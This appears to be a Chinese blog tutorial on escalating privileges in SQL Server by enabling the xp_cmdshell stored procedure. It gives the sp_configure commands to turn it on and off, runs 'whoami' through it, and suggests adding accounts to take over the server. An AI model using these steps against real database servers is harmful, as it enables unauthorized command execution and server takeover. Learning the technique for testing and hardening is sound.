SQL Server提权之xp_cmdshell

TheK4

已于 2022-07-17 20:09:39 修改

阅读量4.5k

点赞数 4

分类专栏：权限提升文章标签：数据库网络安全 web安全

于 2022-07-17 20:08:33 首次发布

本文链接：https://blog.youkuaiyun.com/qq_44842234/article/details/125836168

版权

权限提升专栏收录该内容

4 篇文章

订阅专栏

前言

sql server提权主要依赖于sql server自带的存储过程。
存储过程是一个可编程的函数，它在数据库中创建并保存，是存储在服务器中的一组预编译过的T-SQL语句。数据库中的存储过程可以看做是对编程中面向对象方法的模拟。它允许控制数据的访问方式（可以将存储过程理解为函数调用的过程），使用execute命令执行存储过程。

注:
xp_cmdshell 默认在 mssql2000 中是开启的，在 mssql2005 之后的版本中则默认禁止。如果用户拥有管理员 sa 权限则可以用 sp_configure 重修开启它。

 连接数据库后，先检查xp_cmdshell是否存在

请添加图片描述
结果为1，则证明存在。

启用xp_cmdshell:

EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

关闭xp_cmdshell:

exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;

开启xp_cmdshell

请添加图片描述

 EXEC master..xp_cmdshell 'whoami';   #执行命令
// 至此，提权完毕(可通过添加账户等拿下该服务器权限)

请添加图片描述